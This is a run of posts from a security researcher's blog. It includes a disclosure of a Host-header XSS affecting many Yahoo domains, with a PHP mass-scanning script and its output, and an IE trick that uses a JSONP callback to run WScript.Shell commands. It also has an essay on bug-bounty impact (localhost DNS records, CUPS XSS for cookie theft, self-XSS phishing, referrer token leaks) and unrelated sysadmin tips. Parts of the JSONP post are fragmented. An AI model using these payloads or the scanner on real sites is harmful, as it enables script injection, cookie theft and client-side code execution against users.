Just open main app.py file

mcedit /usr/lib/pritunl/lib/python2.7/site-packages/pritunl/app.py

Find next strings (lines number 146-149)

        server_cert_path = os.path.join(settings.conf.temp_path,
            SERVER_CERT_NAME)
        server_key_path = os.path.join(settings.conf.temp_path,
            SERVER_KEY_NAME)

And replace them (or just comment with #) with

    server_cert_path = '/etc/letsencrypt/live/vpn.sergeybelove.ru/cert.pem'
    server_key_path = '/etc/letsencrypt/live/vpn.sergeybelove.ru/privkey.pem'

And that is all.

The post Pritunl – changing self-signed SSL certificate to Lets Encrypt appeared first on @sergeybelove.

Seems it’s time to disclose 21 zero day XSS on Yahoo.
I do not break any rules, any laws of any country (I hope lol) posting this to public (Yahoo officially said that they need only 90 days to rollout fix for any vuln, please visit https://hackerone.com/yahoo – Yahoo’s bugbounty rules). This vuln affect 21 different Yahoo domains and not fixed for a one year.

I reported this issue 9 months ago (https://hackerone.com/reports/77385), tried to bump it but no luck. They said that my report is dup of https://hackerone.com/reports/54625 (reported at ~march 2015).

Main purpose of this post – just pay attention of Yahoo security team to this ticket again (and finally fix!).

XSS

Facts:

• Reflected
• Works only in IE (tested in IE 10/Win 7; Should works in 7,8,9)
• Bypassing IE XSS filter

Based on https://twitter.com/Black2Fan technique that helps to inject XSS payload into HOST header of user’s requests (read more here).

PoC: https://sergeybelove.ru/exploits/yahoo_ie.php (IE only! Just inject H1 tag)

This XSS caused is by balancer and… affect other domains! I wrote a simple scanner:

<?php

$html = file_get_contents("https://everything.yahoo.com/");
preg_match_all("/.dd..a.href=.([a-zA-Z\.:\/?_=]*)\"/", $html, $matches);
$domains = array();
foreach ($matches[1] as $match) {
    $target = parse_url($match);
    $domains[] = $target['host'];
}
$domains =array_unique($domains);
sort($domains);

//$domains = array($argv[1]);
foreach ($domains as $domain) {
    $fp = @fsockopen($domain, 443, $errno, $errstr, 3);
    if (!$fp) {
	$schemas = array('http', 'https');
    } else {
	$schemas = array('http');
    }
    foreach ($schemas as $scheme) {
	// we need to try valid 80 & 443 and some non valid ports 444
	foreach (array(80,443,444) as $port) {
	    $testing =  $scheme."://".$domain;
	    $payload = "123123--><script>alert(document.location.origin)</script>";
	    $exploit ='<?php
header("Location: '.$scheme.'://'.$domain.'%2f--><script>alert(document.location.origin)<%2fscript>%3a'.$port.'");';
	    $ch = curl_init();
	    curl_setopt($ch, CURLOPT_URL, $scheme."://".$domain);
	    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: '.$domain.$payload.':'.$port));
	    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	    $result = curl_exec($ch);
	    if (strstr($result, $payload)) {
		echo $testing." with Host: ".$domain.$payload.":".$port." is vulnerable!\n";
		break;
 	    }
	}
    }
}
?>

For mass checking and found that other domains (include flickr.com) also vulnerable:

http://advertising.yahoo.com with Host: advertising.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://answers.yahoo.com with Host: answers.yahoo.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!
http://autos.yahoo.com with Host: autos.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://celebrity.yahoo.com with Host: celebrity.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://developer.yahoo.com with Host: developer.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://finance.yahoo.com with Host: finance.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://games.yahoo.com with Host: games.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://groups.yahoo.com with Host: groups.yahoo.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!
http://help.yahoo.com with Host: help.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://messenger.yahoo.com with Host: messenger.yahoo.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!
http://music.yahoo.com with Host: music.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://my.yahoo.com with Host: my.yahoo.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!
http://news.yahoo.com with Host: news.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://shopping.yahoo.com with Host: shopping.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://sports.yahoo.com with Host: sports.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://weather.yahoo.com with Host: weather.yahoo.com123123--><script>alert(document.location.origin)</script>:80 is vulnerable!
http://www.flickr.com with Host: www.flickr.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!
http://www.yahoo.com with Host: www.yahoo.com123123--><script>alert(document.location.origin)</script>:443 is vulnerable!

Why 21? Some other domains like mail on first screen should to be checked manually.

One more fact: I added check for XSS thru HOST header to my small and free one-button-scan – http://sergeybelove.ru/one-button-scan/

P.S. I found exactly same vuln on wikipedia and they fixed it just in few days – feel the difference.

UPD: BlackFan twitted that he reported this issue 2 years ago! And it was a dup

The post 21 0day XSS on Yahoo – still unfixed after 2 years! (updated) appeared first on @sergeybelove.

And video:

Text – click
Huge thanks to Mario for help while preparing this presentation.

The post Frontend in(security) appeared first on @sergeybelove.

-bash: /usr/bin/hamachi: No such file or directory

Just type

ln -s /lib/ld-linux-armhf.so.3 /lib/ld-linux.so.3

The post Hamachi on raspberry pi – bash no such file or directory appeared first on @sergeybelove.

Today I want to reborn my blog and share a little and very simple (and new?) trick – how to get RCE on the client side via jsonp in IE (any verison). This technique looks like on “reflected file download” from last BlackHat.

<!-- Request sent via a script tag -->
<script src="https://status.github.com/api/status.json?callback=apiStatus"></script>
<!-- Data received as an execution of the predefined function. -->
<script> function apiStatus(data) { console.log(data.status); } </script>

1. JSONP leaks
2. XSS via JSON / JSONP callbacks
3. Advanced vector: “rosetta flash”
4. ?

1. JSONP leaks

2. XSS via JSON / JSONP callbacks

3. Advanced vector: “rosetta flash”

4. ?

• text/javascript
• application/javascript
• application/x-javascript

upd: application/json doens’t work // cc https://twitter.com/maxon3/status/559050462540754944

(and probably some others) then it tries to save or execute this file like a windows host js (and it not depends from extension of this file in request).
If user choose “open” button and click “confirm” and “confirm” again (like a with a typical exe file) this file will execute.

We can create via callback this file with any content from trusted domain. Example:

http://cs.microsoft.com/getid.js?jsoncb=new%20ActiveXObject(“WScript.Shell”).Exec(“calc”)//

Open this link in IE and click twice at open button – see calc window.

Video

UPD: Before posting this post I tried to find same technique in Google – but nothing. Today Denis wrote me and gave this link – https://twitter.com/dnkolegov/status/531737522872012800. So, it isn’t new

The post Remote command execution on the client side via jsonp appeared first on @sergeybelove.

DNS Misconfiguration

The vulnerability lies in its presence in the records of the domains’ subdomains, which contain addresses belonging to the local network.

Let’s suppose that when searching subdomains, we’ve found something like local.target.com, which points to 127.0.0.1 address (or simply to an IP from the local network).

Let’s consider a case when the subdomain points to 127.0.0.1 address. Let’s assume some organization which works through thin clients, and the employees of which work with one and the same device with 127.0.0.1 IP-address. In this case, the intruder can be a local user of the system. To attack, the intruder binds the port on “the upper levels”, e.g., 10024 (because the “lower” ports require the appropriate rights). Then, the intruder sends the victim (another user of the same system) a mail containing resources downloaded from the vulnerable system address, which, in its turn, points to the local IP, e.g., <img src = http://local.target.com:10024/>. Once the victim opens the mail and downloads an image from *.target.com, the intruder will receive the victim’s cookies, which will be afterwards transmitted to the thoughtfully open wireless sniffer or netcat. One little trick: such and, indeed, other systems have the CUPS service (for printers), the interface of which contains many XSS. In this case, a remote intruder can profit by run of a subdomain local address error. For example, making the user follow such link like: http://local.target.com:631/jobs/?job_id=&job_printer_name=Click%20Me&job_printer_uri=javascript:alert(document.cookie), one may transmit XSS and receive cookies .target.com.

If the domain points to the local network IP, one can demonstrate the following vector: being in the same local network with the victim, one can occupy the proper subdomain IP-address and ask the user to follow the link.

Szymon Gruszecki earned $100 in Self Bounty hackerone for such an invention (report 1509).

Self-XSS

XSS-attack is one of the most popular attacks in the Web. The point is to embed your JavaScript in the page which will be later opened by the victim. Self-XSS is a subvariety of XSS-attacks. The nature is the same, but it works in the intruder’s browser.

Just imagine, you can embed a JavaScript somewhere and it will work perfectly well, but… only for you! So you can execute an XSS-attack, but only against yourself. Pretty foolish situation :). And now, let’s draw a vector. Let’s take target.com website, where the victim is authorized. Mostly, you can log the victim out through CSRF (step 1), then log it in under your name, again through CSRF (step 2, and yes, you will “give away” your credentials, but it doesn’t matter). So, you have: a victim logged in on target.com, where you put your JavaScript. Next (3rd) step: you just place an authorization window with a message like “Your session has timed out” (through the JS already provided) on the web-site (the URL is the same, looks legal!) and log the victim’s input data (login:password) on our server. “No way,” you said? You are wrong. There is one person who created such a vector, and this vector has been scored. For the will to win, perhaps, but anyway attacks success rate was proved!

Google and self-XSS

Continuing on self-XSS attacks, I’d like to pay your attention to Google Company as one of the most generous one in terms of the rewards for the vulnerabilities detected. Depending on the Google service, almost any self-XSS vector can be considered as a non-self one, because both in Gmail and in Google Analytics, there is a function enabling to search your own account with other users simply by entering their email. What comes to mind immediately is a story when an XSS was in the name of a downloaded file of Analytics, and this XSS was performed only against the user’s own account. However (as we mentioned above) this vector could be used against other users as well. Of course, the unknown author of this feature has been rewarded.

User’s data leak — malicious referrers

Vulnerability means a negligent processing of user’s sensitive data — availability of session data in GET-queries, tagging in search services, etc.

Current and the most widespread HTTP-protocol version includes a referrer with a URL which shows where the user “comes from”. Just imagine: the user resets a password, receives a mail, follows the link with a password change token, and sees some image from the other web-site (e.g., a comics from xkcd.com on how to choose a right password) right on the password change service. The image query will be performed… That’s right, with the referrer value containing the password reset token. As a result, the owner of the domain where the content (e.g., an image) comes from can mesh the password change tokens and change them faster than the user does. HackerOne gained $100 for such an invention.

Web Server Misconfiguration — insecure redirectors

Vulnerability lies in the web-server configuration faults, particularly, in Strict Transport Security parameter value.
Generally, one shouldn’t transmit any sensitive data (passwords, card numbers, etc.) directly through HTTP, it’s better to use HTTPS or, better yet, make all the resource work through HTTPS. So, how does it usually happen? A user requests a website through HTTP — http://site.com, and receives such kind of a response:

HTTP/1.1 302 Found
Server: nginx/1.2.4
Date: Mon, 28 Apr 2014 15:22:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/5.3
Location: https://site.com/

This response will redirect the user to the website HTTPS-version to prevent a man-in-the-middle attack. But… an intruder can start the data capture earlier, after having replaced the server response for the user not to be redirected to any other site. To prevent such situation, the Strict-Transport-Security header is used in the server response. It reports to the browser not to visit this resource through HTTP anymore, but to use HTTPS, and indicates the action time of this rule (to enter only through HTTPS) for this website. Let’s imagine: a user comes to a website from potentially risk free environment for the first time (e.g., from home computer), the server response has been captured, and Strict-Transport-Security header has been removed by the intruder. Then, the user comes to the website again, but from an insecure environment, e.g., a cyber cafe, where nobody “cuts out” the headers, and the user can safely get in the website. So, let’s turn back to Bug Bounty. There was a resource with incorrect settings — a header used to be sent when redirecting from HTTP to HTTPS. But the duration of this rule was relatively short — 180 days. By the way, it should be noted that there is a pre-shared list of the websites which can be visited only through HTTPS (HSTS preload list) — goo.gl/KxrNtl.

Misconfiguration — Content-Security-Policy — both exists and doesn’t exist

Vulnerability: web-application determines the Content Security Policy sharing rules incorrectly.

Content Security Policy (CSP) header is rather well known and becomes more and more popular. It’s transmitted through the web-server response and reports to the browser which content can be downloaded and from where (images and so on). Mainly it’s meant for protection from XSS-attacks consequences, and the mentioned sniffer cannot be embedded from your own website anymore (in case of correct CSP rules). But the point is that not all the browsers support it, and sometimes the developers take a decision not to send the header to the client if his/her browser doesn’t support CSP. So the developers define the white list of browsers (in fact — a list of the UserAgent fields) which can receive the header. As a result, we have the following problems:

• a response without the CSP-header can be cached by the client side (e.g., on proxy-server). Though it can be done by the server side as well, somewhere on intermediate cache-servers. As a result, this response (without CSP) can be given to a user whose browser supports CSP;
• more and more Chromium fork browsers are being created where users can put their own UA not included into the white list for obvious reasons.

As you see, these situations may lead to the case from the headline — CSP both exists and doesn’t exist, even for those who support it. On HackerOne somebody was even rewarded for that kind of staff, but everybody thinks the same. Facebook, for example, has some troubles: they work with the very white lists and don’t send CSP to everyone (only to Chrome starting from X version, FF starting from Y version, but not between A1 and B1), because having such a large amount of users (like Facebook has), one should think about compatibility (some FF versions have troubles with this issue); so, if you don’t send the header, you don’t lose the users. They plan to eliminate this rule in the future.

Web Application Misconfiguration — insecure %username%

Vulnerability lies in incorrect design of an application, the functionality of which allows an intruder to replace the content of the system files in the application web-directory.

URL for a personal profile access is generated differently depending on the website. Mostly it’s something like /users/username/, but sometimes the domain is followed by a username, e.g., http://example.com/username. Let’s go deeper and assume that dots in the username are allowed… So, we can register a user with an unusual name, like robots.txt and, perhaps, replace the web crawlers file content enabling them to index what they shouldn’t index! It’s not far to seek for example, you should remember SMS leak from the website of MegaFon. Moreover, many similar situations can happen.

Conclusions

As you can see, there are many different ways to use a secure, from the first sight, bug. Much depends on one’s understanding, experience, usage environment, and imagination :). I recommend to keep an eye on different hackerone.com bugs, because after closing, many vulnerabilities become publicized. You can also read about the full paths leaks through CSS-files, absence of SPF-record in domain and, consequently, about the possibility to spoof the sent e-mails (cause SMPT enables to spoof the talker address “under standard”), and about many other equally interesting and a bit weird things :). Happy bughunting!

The post Let us see the Impact! appeared first on @sergeybelove.